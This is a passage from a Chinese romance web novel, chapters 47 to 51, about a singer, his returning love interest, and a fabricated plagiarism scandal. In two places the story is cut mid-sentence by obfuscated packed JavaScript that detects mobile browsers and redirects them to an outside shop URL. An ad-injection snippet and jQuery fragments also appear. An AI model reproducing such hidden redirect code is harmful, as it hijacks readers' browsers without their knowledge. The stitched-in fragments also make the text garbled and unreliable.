明知道是在这样一个不合适的时间、不合适的地点、不合适的场合,时缈还是对他心软了。 “是。” 时缈睁开眼睛,毫不避讳地同他对视。 这是他们在这栋别墅里为数不多的互相如此坦诚的时刻了。 时缈的手指紧紧握住水杯杯壁,用力到指尖都开始泛白。 “许钧闻,你赢了。” 她忽然笑了,如释重负般的笑了。 原来,让她在许钧闻面前承认自己的在乎也并没有她想象中的那么难。 “我在意。” 这下轮到许钧闻呼吸一滞。 坦白讲,他原本是做好了时缈仍然倔强地不肯松口的准备的。 这段过去横跨了六年的时间,更横亘在他们两个人的心上,很多当年纠结辗转着说不出口的事情,就像一道沉疴,不提不痛,一碰就伤筋动骨。 这道伤疤陡然被时缈亲手揭开。 着实打了许钧闻一个措手不及。 “我承认了。” 时缈感觉此刻大概是她和许钧闻重逢之后最放松的时刻了:“地震那天,我回去是为了找你。因为隐约听见工作人员说你不在一楼,有些担心,所以干脆返回去看看。” 重逢之后时缈第一次如此直白地和他袒露自己的想法,那些笼罩在她身上如同一层雾一般的纠结与迷茫短暂地褪去,她仿佛又变回了六年前那个活泼又明媚的小姑娘。 许钧闻原本预设好的应对和一切自我开解的说辞,在这一刻全都用不上了。 半晌,他抬手揉了揉自己的后颈。 “哪里是我赢了。” 许钧闻笑叹一声:“明明赢的从来都是你。” 不管是承认还是道歉,任由时缈随便说句什么都行,反正认输的总是他。 时缈眨眨眼,甚至有心情开起了小玩笑:“买一赠一,回答你两个问题。怎么样,许老师,这算不算有诚意?” 许钧闻煞有介事地点点头:“有诚意。” “看在你这么有诚意的份上,我就勉为其难地给你一个机会吧。” “什么机会?”时缈歪了下头。 许钧闻按了一下她的发顶,俯身靠近,低沉且富有磁性的声音落在她耳畔,低语时呼出的热气将她耳后的皮肤灼得发烫: “给你一个重新追求我的机会吧。” 48. 48首情歌 “那就给你一个追求我的机会吧。” 当年许钧闻加上她的微信,约她去听他的新歌的那天晚上,许钧闻送时缈回学校,分别前,时缈给他留下的最后一句话便是这句。 时缈抵达酒吧门口,正犹豫着是直接进去找许钧闻,还是先给他发个消息告诉他自己已经到了,身后忽然传来一声招呼:“哟,时缈?” 时缈回头,就看见乐呵呵地朝她招手的汪乐。 “来玩儿?”汪乐看了看她,又四下环顾了一圈,“就你自己?” 时缈目光落在他身边的许钧闻的身上,扬了扬下巴:“问他,他约我来的。” 汪乐大惊,朝许钧闻挤眉弄眼:“你小子!居然还会约女生?我还以为你身上是有什么诅咒,一旦和女生单独在一起就会触发的那种呢。” 时缈“噗嗤”一声笑出来。 她看得出来汪乐是在给自己的兄弟打配合、当僚机:“这就有点假了吧?” 被拆穿的汪乐嘿嘿一笑:“怎么会,是真的。” “你上次的那个朋友也是云京大学的,她肯定对许钧闻这个名字有所耳闻,我们学校出了名的帅,也是出了名的不近女色,各个学院的院花都不放在眼里的那种,一度我们学校的论坛里都在讨论他到底是不是个gay。” 许钧闻“啧”了一声:“少在这散播谣言,败坏我的名声啊。” 汪乐哼笑:“你以前不是从来不在乎这种事情吗?甚至还巴不得我们败坏得更彻底点,好让那些小姑娘打消几分对你的兴趣。怎么,现在又不能说了?” 许钧闻揣着口袋,长腿一迈,从时缈身边路过的时候,修长而又骨节分明的手指拽住了时缈的袖口,既有几分亲密熟稔,又恰到好处地保持着合适的距离:“走了,别理他,我们先进去。” “干嘛不让我听完啊,我还挺感兴趣的呢,”时缈挑眉,“毕竟我又不是你们学校的,有些事情我一个外校的学生肯定不如你们自己学校的人了解得多啊。” “关于我的事情,我本人了解得最清楚,要不你直接来问我本人?”许钧闻低头,目光落在她脸上。 时缈出门前时精心打扮过的。 为了更加符合她今天要来的地方,化妆时她特意给眼睑上涂了一层闪片,此刻在酒吧蓝紫色的灯光笼罩下,折射出神秘的碎光,随着她扎眼的动作,忽闪忽闪的。 许钧闻挪开视线,轻咳了一声:“想知道什么?” 时缈被他突如其来的注视打了个措手不及,那双漂亮的桃花眼专注着看着某个地方的时候显得潋滟而多情,轻而易举就能抓住别人的心神。 饶是在学校里见过各式各样的帅哥美女,时缈还是不得不承认,许钧闻身上带着和其他同年龄段男生不大相同的气质。 是那种介于成熟和少年气之间的地带的感觉,既给人以安全感,又不会让人觉得沉闷。 就像他本人的生活一样。 一边是听上去光鲜又高端的金融专业学子,一边是看上去放浪恣意的酒吧驻唱。 这些原本矛盾的特质放在他身上,产生了奇妙的化学反应,反倒让他成为了人群中最与众不同的那个人。 时缈被他看得有些耳热。 不过好在,许钧闻很快就移开了目光。 “没什么,就是随便听听而已,”她摇摇头,生硬地转移话题,“我坐哪里?” 许钧闻带她来到里舞台最近的卡座,示意她坐下:“在这儿等我一会儿。” 时缈不明所以地歪了下头:“为什么?你要去忙了吗?” “离我上场还有一会儿,你先坐,至于其他的,等会儿你就知道了。” 许钧闻将他身上背着的吉他靠在她身旁的沙发上,笑着拍了拍黑色袋子的顶端:“喏,‘人质’都给你准备好了,放心,我不会跑的。” 那把吉他像是一个神秘的标志。 将原本见时缈一个人坐在这里从而想来搭讪的人通通挡了回去。 那吉他收纳袋上印着一个龙飞凤舞的“X”字母形状的花纹,常来这家酒吧的熟客自然知道那是谁的东西。 以至于在发现了吉他旁边坐着的漂亮女孩时,都有些诧异。 时缈却丝毫没有发现周遭陌生人的态度。 她所有的目光都聚焦在了舞台旁的开放吧台后,那个慢条斯理地将袖子挽到手肘上,露出肌肉线条流畅精致的小臂的许钧闻。 为了让调酒师们更好地为客人们服务,吧台上方的顶灯静静投射这冷白色的灯光,与场子里大面积的昏暗颜色形成了一个鲜明的对比,让人忍不住总是看向那个方向—— 修长的身影随意撑着酒柜,取下几个高矮胖瘦的瓶子,将里面的液体分别倒进雪克杯里,摇动时杯子在空中划出漂亮的弧度,让人看得眼花缭乱。 有点意思。 时缈想。 上次偶然听见汪乐说,他其实是个三杯就倒的酒量,可是她竟没想到,许钧闻居然还会调酒。 很快,许钧闻拿着一个酒杯回到她身边。 “尝尝,看看味道如何。”许钧闻将酒杯推到她面前。 浅蓝和橙黄的分层美得令人舍不得碰。 “怎么?”许钧闻看出她的犹豫,轻笑一声,“放心,度数不高。既然是我带来的人,我肯定会安安全全地把你送回去的。” 时缈原本想说“我主要是不大确定一个酒量很差的人调出来的酒到底是什么味道”,可转念一想,那天她向汪乐保证过自己就当什么都没听到的,如果这时候揭穿许钧闻,岂不是相当于坑了汪乐一把? “没有,我就是觉得这个颜色蛮好看的,有点不舍得喝了。”时缈左右端详着这杯酒。 许钧闻挑眉:“没事,下次再给你做别的。” 下次。 两人在嘈杂的酒吧环境声中对视一眼。 彼此都在对方眼里看见了四个字:心照不宣。 他随意地发起了“下次”这个约定,而她也默契地默认了他们之间是可以有“下次”的。 许钧闻只在卡座配了时缈一小会儿,汪乐就来找他去做登台准备了。 “今天有新歌,时缈,你可真是来着了。” 汪乐依然十分热情地帮哥们推销,却没想到其实人家姑娘早就知道了。 时缈点点头,举起酒杯,朝两人一祝:“我很期待。” * 除了冲着许钧闻美色来的一些年轻姑娘之外,还有一部分的的确确是来看乐队表演的。 之前顾梦瑶给她介绍许钧闻的时候,只停留在了他是如何如何受女生欢迎、长得是多么多么帅,她们当时很多注意力都放在了另一桌云京大学的女生身上,还没发现,原来许钧闻所在的乐队已经积累了相当一部分“野生粉丝”了。 此刻,认真听着许钧闻在台上所唱的原创新歌,看着台下不由自主为他晃动起来的手电筒灯光,时缈才明白——原来,他在微信上说的那句“你也许会喜欢”真的不是盲目的自夸和骄傲。 他在音乐创作上,是真的相当有才华。 时缈坐在台下,手中捧着许钧闻亲手调的酒,耳边萦绕的是他低沉性.感的嗓音。 一瞬间差点忘记了自己究竟身处何方。 直到一整晚的演出结束,汪乐拍了拍许钧闻的肩膀,主动背走了他的吉他:“我还有点事先走了啊,钧闻,你送送人家时缈。” “这还用你说,”许钧闻轻笑一声,朝时缈招招手,“走了。” 这家酒吧开得离云京大学不远,但从这里到云京大学和到云京舞蹈学院却完完全全是两个方向。 外面的夜幕已经黑得彻底,街道两旁的路灯将整条路照亮。 两个人谁都没有提到“打车”这件事情。 默契地并肩走在人行道上。 虽然寂静无声。 可时缈却觉得这种气氛并不会让她尴尬,反而很舒服自在。 直到走出一段距离,时缈率先打破这阵沉默: “这么晚了,你回去的话不会被宿管记名字吗?” 据顾梦瑶说,云京大学的学生管理还是相当规范且严格的。 “没事,我在外面租的有房子。”许钧闻回答。 时缈挑了下眉。 “平时写歌的时候需要用到一些乐器和设备,在学校住会不方便,”许钧闻解释道,“租的房子不大,我一个人住,平时除了汪乐和乐队其他成员, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690362|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎没有人来。” “哦。” 时缈点点头,低头掩饰自己勾起的唇角:“我又没问。” 许钧闻“嗯”了声:“是我想说。” “那你还想说什么?” “你想听什么?” 时缈想了几秒,偏头看他,目光和语气一样直白:“想听听你为什么约我出来玩。” 许钧闻没想到她居然会这样问。 但下一秒又觉得,这就是他对她的第一印象:明媚直接,热烈坦诚。 像一朵开在密林中央的红色玫瑰。 两人走到云京舞蹈学院门口。 夜晚的舞蹈学院并不对访客开放,所以许钧闻只能送她到这里。 “到了。”他说。 时缈停下脚步,转身面朝他:“那你打不打算今天就告诉我答案?” 许钧闻低声笑起来。 输给她了。 “就是你想的那样,想见你,所以就约你了。” “那你为什么想见我?”时缈背着手,目光灼灼地看着他。 如果要让顾梦瑶知道,一定会说她一点都不矜持。 可是她不能欺骗自己:自从在酒吧见到他第一面,她心里藏着的那只小鹿就已经忍不住乱撞了。 时缈当然知道许钧闻有很多女孩子追。 所以她更要把握机会,乘胜追击。 未来如何暂且不论。 今朝有酒今朝醉吧。 “你说呢?”许钧闻逼近半步,她闻见了他身上清新的薄荷味,“时缈,我不信你不知道。” 时缈狡黠地眨眨眼,却不再回答,只是轻快地挥挥手,然后潇洒地转身走进校门。 她的长发在空中划出一个美好的弧度,如今晚的月色一般撩人。 一句话在风中打着旋儿钻进了许钧闻的耳朵里: “那就给你一个追求我的机会吧,许钧闻。” * 第二天原本是节目组设定的约会日。 可不知道为什么,到了所有嘉宾都收拾停当,聚在客厅中闲聊逗乐的时候,还是没有任何工作人员前来念诵活动规则或是传递活动任务卡。 「所以这是什么意思啊?嘉宾们可以随意分配爱玩不玩吗?」 「不会这么快就江郎才尽了,没什么好活能搞了是吧?」 弹幕上零星几条疑问,很快就得到了“解答”—— 「有人看到热搜了吗?真的假的啊?」 「人家那边都拿出证据了,根据时间线来看的确是Xing乐队录歌在前啊……这算是实锤了吧?不会还有人要闭眼洗吧?」 「拜托,现在都只有那边的一面之词好吧,静等这边回应吧。」 「什么这边那边的?你们在打什么哑谜?有没有人能告诉我这是什么瓜。」 「指路微博热搜,后面挂着个“爆”字的那条就是了,点开就知道是什么事了。」 这边,直播期间所有嘉宾们都不能随意玩手机,因此别墅内的十几人根本还不知道外界到底发生了什么,只看见导演示意工作人员们立刻关掉了直播。 “嗯?怎么了?” 最先发觉不对劲的程子归站起身,环顾了一圈。 导演走上前,低声道:“抱歉各位,因为一些原因,咱们今天的直播先暂停了,大家可以回房间去休息,或者去处理一些自己的其他事情。” 说到这,导演的目光从许钧闻身上扫过:“具体什么时候重启录制,麻烦大家耐心等待工作人员们的通知。” 所有人面面相觑。 许钧闻对上导演的视线,敏锐地察觉到了导演的目光中似乎还有几分欲说还休的意味。 刚想要摸出手机给助理打电话,许钧闻的手机就忽然震动了起来。 来电显示跳动着两个字:豪哥。 “喂?” 直觉告诉他,这通电话来得绝对不是巧合。 电话里,豪哥语速极快,其中还夹杂着汽车鸣笛的声音: “出了点状况,我现在去别墅那边接你,导演组那边我已经沟通好了。” “在我们碰面之前,不要接受任何访问也不要发表任何言论。” 49. 49首情歌 “下作!无耻!混蛋!” 除了这段时间忽然“孔雀开屏”之外,许钧闻算得上是个非常省心的艺人了。加上许钧闻目前也没有“做大做强”签约新人的意图和想法,因此豪哥的工作量并不像其他同级别经纪人那样大。 所以,许钧闻工作室的工作人员们很少看见豪哥如此气急败坏、不顾形象地破口大骂的样子。 助理看了看气得绕着桌子直转圈的豪哥,又看了看端着平板饶有兴致地翻看着微博上最新娱乐新闻的许钧闻,小心翼翼地开口:“哥,先消消气,坐下来喝杯水吧。” 从刚才到现在,都骂了快半小时了,也该歇歇了吧。 “怎么会有人无耻到这种地步!以前时不时编点假料抹黑你、让手底下的新人蹭你热度也就算了,都是这个圈子里混口饭吃的,这些把戏咱们也没少见过。现在倒好,明目张胆地造谣诽谤了是吧!” 豪哥刚坐下,垂眼看见桌上屏幕忽明忽灭的手机,以及来电显示上不停更换的甲方项目负责人的备注,好不容易平复了半分的心情再次被搅乱,火气止不住地直直往天灵盖上冲。 “你抄袭他们?笑死了,他们可真敢说啊。” 豪哥一拍桌子:“他手里那个破乐队是个什么水平,粉丝不知道,我们还能不知道?就他们Xing乐队那样的,也就配跟在你屁股后面捡点你的剩饭吃吃了!” “谁不知道他们每次发新歌都故意带点你的影子啊,恰好停留在有些相似又不会被判定为抄袭的分寸之内,倒是会擦!也好意思发通告说自己乐队的成员是‘许钧闻第二’?给他们脸了!” 豪哥黑着脸,指挥公关宣传团队的工作人员:“组织粉丝先把广场上的不实言论压一压,然后赶紧把声明写好拿给我看看,就说我们已经在积极寻找相关证据,等证据整理完毕之后会及时给大家一个交代。” 顿了顿,他捏了捏眉心:“再联系几个平时关系比较好的营销号和媒体,到时候一并转发我们的声明,然后再买一条热搜,先挂上三个小时,不行的话再继续买。” 等豪哥快言快语地布置完一系列工作,转头看向了一直没有发表意见的许钧闻:“你呢,少爷,祖宗!你就没有什么要说的吗?” 许钧闻懒懒地掀起眉眼:“我又没抄袭,我有什么好说的。” 豪哥叹口气,拍了拍他的肩:“也是,你那时候也是年轻,刚进娱乐圈,哪知道这行业里的水这么深,对方又是个大公司,难免被那帮老狐狸摆一道。” 许钧闻摘下左耳挂着的蓝牙耳机:“我听了一下,相似度确实高。” “那怎么办?怎么能证明这旋律是你先写的?”豪哥叹口气,“人家那边可是晒出了音源文件新建及修改的时间线,咱们这边空口白牙说是你写的歌被盗用,总归是缺少一些说服力。” 许钧闻嗤笑一声:“拿着我当年新建的音源文件记录来诬陷我,真亏他们能想得出来。” 豪哥皱着眉:“虽然我知道你那前经纪人一直不是什么好鸟,但我有个没想通的点在于,你们都解约这么长时间了,虽然对方一直小动作不断,但大体来说咱们两边还是能维持一丝丝面子上的和平的。这次那位到底是吃错什么药了,非要没事找事,突然给你泼脏水?” “该不会是你们闹解约的时候那个死爹玩意儿去算命了,然后某个算命的江湖骗子跟他说必须要忍到现在再和你撕破脸皮才行?” 许钧闻看豪哥的目光像在看一个傻子:“这都什么跟什么。” “可能是看我最近热度太高,真的担心我和时缈复合之后把以前写过的情歌都放出来吧。”许钧闻漫不经心地说道。 “……你别说,还真有可能。” 豪哥一拍手,而后忽然发现了自己刚才差点错过的一个点:“等等,孟巍知道你和时缈的事?” 许钧闻点点头:“他签我的那会儿,我和时缈还没分手。不过那时候她已经出国深造了,所以他们两个人没有见过面,应该只是从我的话里听过对方的名号。” “你是说,你那个脑子里有包的前经纪人都知道你和时缈的事情,但这几年陪你走南闯北、逆流而上、攀上巅峰的我,对你的故事却一无所知?”豪哥的声音听起来都快扭曲了。 助理看看豪哥,再看看许钧闻。 他怎么觉得,比起“老大被人污蔑新歌抄袭”,倒是“前经纪人知道的事情他居然不知道”这件事更让豪哥破防。 许钧闻揉了揉后颈,活动了一下有些僵硬的身体:“你也没问啊,而且那时候我和时缈早就已经失去联络了,我没当回事,也就没特意跟你说啊。” “没当回事?” 豪哥哼了一声:“你这叫‘没当回事’?没当回事的话你还追人家姑娘干什么?不会是为了报复人家当初把你甩了吧?” “……” 许钧闻睨了他一眼:“你这脑洞,国产影视剧编剧行业里没你简直是这个行业的一大损失。” “行了,这都什么节骨眼上了,还贫呢。” 豪哥按了按自己的太阳穴,接过公关部拟好的声音,又递给了许钧闻,让他过目。 “你再好好想想,还有什么是能够证明你的创作时间是早于Xing乐队的?” * 许钧闻的粉丝和Xing乐队的粉丝之间素来不和的这件事,只要是追星的人几乎都有所耳闻。 两家结下梁子的原因也很简单—— 作为许钧闻前经纪人手下的新艺人,几次三番打着“原创”旗号发布的专辑中,总有些歌曲的旋律乍一听酷似许钧闻的歌,仔细一听又似乎有细微的差别。 一开始大家并没有把这件事太当回事,毕竟音乐说难听点就是那么几个高低不同的“doremifasolaxi”音符的排列组合,没有任何作曲家敢说自己的歌每一个小结都是完完全全、前无古人、独一无二的,更何况是流行乐坛这种“江山代有才人出”的圈子。 但或许是因为彼时许钧闻已经成为了原创歌手里流量top级别的存在,孟巍为了让自己手底下新签的艺人快速打出名气,总是暗戳戳地发一些“Xing乐队的主唱兼歌曲原创简直是许钧闻第二”的通稿蹭他前艺人的热度。 Xing乐队的粉丝一开始还抱着得了便宜还卖乖的态度,上赶着认领头衔,自然引起了许钧闻粉丝们的不满。 直到许钧闻本人在一次采访中,被人问到有人说Xing乐队的新歌和他刚出道时的某张专辑里的主打歌有相似之处他怎么看时,许钧闻嗤笑一声,扫了提出这个问题的作者手里麦克风上挂着的平台logo,要笑不笑地回了句: “建议贵平台在招聘时附加一项检查,测定一下工作人员的智商,免得被人牵着鼻子走还要上赶着给人当枪式。” 这话说得相当不客气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703142|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接成为了当天晚上的热搜第一的话题。 不仅提问的记者当场绿了脸,Xing乐队的粉丝更是第一个不服。 更何况从那之后,有好几次公开活动同时邀请了两边,许钧闻得知后,即使前期答应了邀约,宁愿赔付违约金都不去和Xing乐队同框出现。 这一番操作下来,所有人都知道,许钧闻和Xing乐队,亦或者是说和前经纪人孟巍不和。 许钧闻的粉丝自然也和Xing乐队的粉丝势同水火。 孟巍并不是一个非常大度的人,为了利益更是可以不择手段。 最开始,孟巍和Xing乐队的粉丝们也没少试图往许钧闻身上泼脏水,只不过许钧闻这人平日里除了工作之外,绝大部分时间都是飞去世界各地看演出,从来没有见他出入过声色场所,因此从来没有被抓住把柄。 近两年,孟巍那边的动作倒是少了很多。 豪哥还以为是对方终于消停了。 却没想到,那个小人居然在这里等着阴他们一手。 许钧闻提前从谷峪勒回江城,就是为了录制写给最近备受瞩目的谍战剧的主题曲。 接着最近许钧闻的话题度在上一层楼,剧组那边也是非常迅速地安排好了宣发,第一时间为主题曲造势。 其实这本来应该是一个双赢的局面。 许钧闻那边用新歌转移大众对他感情问题的过分关注,剧组这边利用许钧闻的热度为自己的剧吸粉。 可偏偏所有人都没想到,孟巍和Xing乐队会在这个时候忽然跳出来称—— 许钧闻新歌《无风》抄袭Xing乐队新专辑主打歌《问鼎》! 孟巍这次显然是有备而来,通稿、所谓的音轨对比和创作时间线证据通通在半夜四点左右一股脑地发出来,显然是为了打许钧闻的团队一个措手不及。 要不是海外的品牌方由于时差原因,在刷到相关的负面新闻时第一时间致电豪哥询问事情真相,豪哥恐怕真的要到第二天早晨睡醒才能看到这些子虚乌有的指控和莫名其妙的证据。 “不管怎么说,我们先分头找找有没有相关的证据,不说证明你的创作时间,哪怕能削弱他们那边证据的力度也行。律师这边我已经咨询过了,我们随时可以提起诉讼。” 豪哥叹了口气。 果然是前几年的好日子过多了,现在到了他该“还债”的时候了是吧。 许钧闻“嗯”了一声,慢条斯理地敲着手机屏幕。 “这都什么时候了,祖宗,您是一点都不着急是吧?”要不是想着许钧闻才是工作室的老板,豪哥都想冲上去摇摇他的脑袋,看看他脑袋里现在到底装的是什么了。 「时缈:你还好吗?」 半分钟前,时缈发来了消息。 没有过多的探听,似乎是怕打扰她的工作。 「许钧闻:别担心。」 简短地回完消息,许钧闻这才支着下巴看向豪哥,修长的手指不疾不徐地在桌面上敲击。 看着他这副不疾不徐的样子,豪哥感觉自己急躁的心情莫名得到了几分安抚。 “其实比起找证据,我更好奇的是,到底是什么原因让孟巍这么害怕,这么急着要搞垮我,甚至不惜用这种下三滥的手段颠倒黑白铤而走险。” 许钧闻轻嗤一声:“看来我和我的前经纪人之间,还有一些我不知道的事情啊。” 50. 50首情歌 世界上没有不透风的墙。 更何况,现在可是互联网时代。 尽管豪哥很快就采取了应对措施,但舆论还是很快就在互联网上发酵开来。 于是,就在许钧闻带着助理离开别墅,导演对大家说录制暂时中止请大家稍安勿躁等待通知,并告知嘉宾们近期不要在互联网上随意发表言论之后,时缈回到自己的房间,刚准备收拾一些日用品带回家住几天,就接到了来自顾梦瑶的电话。 “热搜你看了没?”对面的语气很急,声音又刻意压得很低,“许钧闻被曝抄袭。” “什么?” 时缈还以为是自己听错了,又重复一遍:“谁抄袭?” “许钧闻。” 顾梦瑶放慢语速,将自己刷到的消息简单总结给她听:“Xing乐队,我不知道你知不知道这个乐队,是许钧闻前经纪人手底下的艺人,之前就因为创作风格和许钧闻相似,两边粉丝没少互骂。” “昨天大半夜,忽然有一个粉丝量不少的娱乐营销号博主,放出一段视频,说许钧闻写给某个电视剧的主题曲和Xing乐队刚刚释出的新专辑主打歌相似度极高。” “这也不能说明是他抄那个乐队的啊。” 时缈皱眉。 别人或许不相信许钧闻,可时缈是最了解他的。 她见过许钧闻为了写出两个小节满意的曲调绞尽脑汁的样子,也知道许钧闻对于音乐有着自己的执着和追求,更听过那些年他所创作出的每一首歌、每一句词。 时缈不相信,那样的一个人,会做出抄袭这种下三滥的事情来。 顾梦瑶叹口气:“是啊,我也是这么想的,我肯定是站在你们这边的。可是,对面Xing乐队的公司放出了所谓的‘音源文件’,还带有时间戳的那种,如果是伪造的,那也简直是到了能够以假乱真的地步。” “不过许钧闻的团队处理得已经算是很及时了,否则现在的微博热搜榜恐怕早就被这次‘抄袭’风波全部占领了。” “本来我想去看看节目直播间的情况,结果我刚摸鱼点进平台,就发现你们节目暂停录制了,所以赶紧躲到洗手间给你打个电话问问情况。你怎么样,还好吧?” 时缈垂着眼睛:“我还好,这件事他还没有告诉我,就急匆匆地带着助理走了。” “也许是不想让这些莫名其妙的消息影响到你。”顾梦瑶顿了顿,“那现在,他打算怎么办?” “不知道。” 时缈不知道许钧闻那边现在对于这个负面消息处理到什么程度了,也不知道自己该不该在这种时候去打扰他。 她不希望他在这种关头因为她而分心。 “好吧,或许不是什么大事,只要咱们身正,就不怕影子斜,”顾梦瑶安慰时缈,“你也被太担心了,如果实在放心不下或许可以给他发条信息,等他有空看见之后就会回的,也不会打扰他眼下的事情。” “嗯。”时缈揉了揉自己的眉心,“谢谢你告诉我这件事啊,瑶瑶。” 顾梦瑶爽朗地笑了两声:“多大点事啊,放心,我肯定是你最坚实的后盾,有任何需要帮忙的,我能出得上力的话,随时联系我啊。” 挂断电话,时缈登录微博小号。 不是节目组要求注册的那一个——她能猜到,那个号的私信里这时恐怕也遭到了网友以及粉丝们的追问。 为了不让自己因为那些鸡毛蒜皮无关紧要的杂事分心,时缈索性不去看那个账号上的一切消息。 而是登录了自己之前在国外注册的用来关注许钧闻讯息的微博号。 果然如顾梦瑶所说,即使许钧闻的团队已经及时对于不利于许钧闻的虚假言论采取了控制措施,但架不住网友们最喜欢的就是煽风点火,一个黑词条被撤下去之后,很快就会建立或占领另外的词条。 默契得仿佛是受到过专业训练,致力于将这段“丑闻”更多更广的散播出去。 虽然时缈很担心,但她并没有立刻联系许钧闻。 她知道,这时候,许钧闻的团队应该正在商量后续的应对之策,她此刻不论是电话还是短信,都有可能影响到许钧闻的状态或是思路。 所以时缈耐着性子,仔细将一开始的大V所发出的那条所谓的“对比音轨”仔仔细细地看了好多遍,将一切听上去相似、声音波纹重叠的部分找出来,再将两首歌下载下来,仔仔细细认认真真地将这几处曲调反复听了好几遍。 是有些相似。 有些地方甚至完全就是一模一样。 随即,她又将Xing乐队主唱兼新专辑词曲创作者的发出的乐队队长黄思凡的“声明”找出来,一字一句认真地读。 饶是时缈这种完全没有见识过娱乐圈残酷倾轧的人都能看得出这篇声明一定是经过了专业团队的一番精心润色的。 小作文通篇没有明明白白地提到“许钧闻新歌抄袭我的歌”之类的任何字眼,而是先表达了自己出道前就很喜欢听许钧闻的歌,可惜这些年来没有机会和许钧闻合作然后话锋一转;表示自己没想到会是通过这样的方式和许钧闻出现在同一个新闻里,感到十分遗憾;紧接着拿出一份所谓的“最初创作的工程音源文件”,隔空喊话希望许钧闻这边也能拿出证据;最后呼吁粉丝不要撕.逼,共同维护公共秩序。 一番小作文贴出来,先是给自己立了个通情达理无辜受害的弱势形象,再吸一波姐粉和妈粉,又暗戳戳把抄袭的脏水泼给许钧闻一次恶心他一次,嘴上说着“希望粉丝们不要去和别人吵架”,实际上就是为了提醒某些战斗粉“该开工了”。 这波操作行云流水,令人叹为观止。 很快,许钧闻这边的声明也发出来了。 相比于黄思凡那边的长篇大论,极尽煽情之能事,许钧闻工作室这边的声明则显得直白很多: 「@许钧闻工作室:感谢大家的关注,关于“许钧闻新歌抄袭Xing乐队”一事纯属子虚乌有,相关证据材料正在梳理准备中,目前已联系律师开始取证,希望大家稍安勿躁,我们会给广大歌迷朋友们一个满意的答复。」 “相关证据材料正在梳理准备中”。 “目前已联系律师开始取证。” 虽然只有短短几句话,却像是给时缈吃了一颗定心丸似的。 轻出一口气,时缈打开微信,找到许钧闻的头像,敲下几个字,点击“发送”。 很快,信息就得到了回复。 时缈猜测,许钧闻这会儿可能并没有那么忙,正巧看见了她的笑意。 「许钧闻:别担心。」 「时缈:嗯。」 「时缈:有什么需要帮忙的,尽管开口。」 许钧闻回复得还是很快: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 「许钧闻:好,不会跟你客气的。」 * 豪哥看着从许钧闻电脑上找到的编曲软件的使用记录。 但好巧不巧,许钧闻并没有认真给这些粗略的编曲成果命名,以至于打开过往工程列表的时候,豪哥差点眼睛一花: “你这让我们该怎么着?一个一个打开听吗?” 许钧闻嗤笑一声:“当然不是,我自己写的歌,我大概都有印象。” 像是为了印证他的话似的,许钧闻飞快滑动鼠标滚轮,滚轮内轴与塑料壳摩擦发出了令人牙酸的声音。 “喏,四年前九月二十日,这也有时间戳呢,这算不算是一个证据?” 豪哥刚准备松一口气,紧接着又打开Xing乐队那边发出来的创作时间轴佐证材料,然后狠狠抓了抓头发:“不对,人家那个截图上的创建时间是四年前的九月十三号!你有没有印象,当时你干什么呢?” 许钧闻气笑:“那哪能记住,都过去这么久了。” 谁能在四年前预知到今天会需要一首歌的源文件创建时间点截图作为他自证的工具。 “就真的没有别的证据了?”豪哥眉头越皱越深,看着许钧闻好整以暇的表情,狐疑道,“你真的没骗我?” 许钧闻不点头也不摇头,只是手指捏着手机的一角摆弄着,目光时不时落在了重新回归寂静的手机。 豪哥气不打一处来。 都这种时候了,还惦记着谈恋爱呢? 以前怎么没发现,他的艺人居然是一个这么彻头彻尾的恋爱脑! “不对啊,许钧闻,你绝对有事瞒着我。” 豪哥越看许钧闻的表情越觉得不对,凭借他们合作这么长时间,他对于许钧闻的了解,在面对这种可以说是会影响到职业生涯的事情时,许钧闻从来都不会如此儿戏。 而且在他们刚合作的时候,许钧闻其实也主动提了一嘴,说签约时没有特别认真地研究过合同的每一项条款,因此虽然解约官司答应了,但有一小部分创作资料被前经纪人从他手里阴走了。 “不过都是粗糙的初版,而且我家里的电脑里也有备份。” 那时的许钧闻挑了下眉,尽显桀骜本色,“况且歌是我写的,就算他们把源文件拿走了,我照样能重新写,而且还能写得比过去更好。” “你不是有备份吗?我记得你当时说过。”豪哥问他,“现在回你家看看你的备份文件的时间?” “你当孟巍是傻子?时间我看过了,都比他放出来的那一份时间要晚个一天半天的。” “那现在怎么办?”豪哥深吸一口气,“祖宗,少爷,求求你了,你要是有什么想法或是后手能不能先给你苦命的经纪人讲一下?别让他这么担心了行不行?” 许钧闻老神在在地笑了一下:“我其实不确定我到底还有没有后路。” “但我想赌一把。” 豪哥不明所以地看着他。 许钧闻仍然慢条斯理地垂着眸子把玩着手里的手机。 时间一点一点流逝,豪哥感觉自己简直是度秒如年。 “嗡嗡——嗡嗡——” 许钧闻的手机忽然响起。 “瞧。” 许钧闻勾了勾唇,志在必得似的。 “MyTyche[1]hasarrived。” 51. 51首情歌 “在忙吗?”时缈问得小心翼翼,生怕打扰到许钧闻的工作。 许钧闻:“还好,这会儿没什么事,怎么忽然打电话了?” 时缈一只手拧着自己的衣服下摆,绕了一圈又一圈,好半天没开口。 许钧闻也不催她,安静地在电话那头等着。 直到时缈自己有些受不了这漫长的沉默,主动开口问道:“你和Xing乐队的事情,你工作室这边找到说法了吗?” 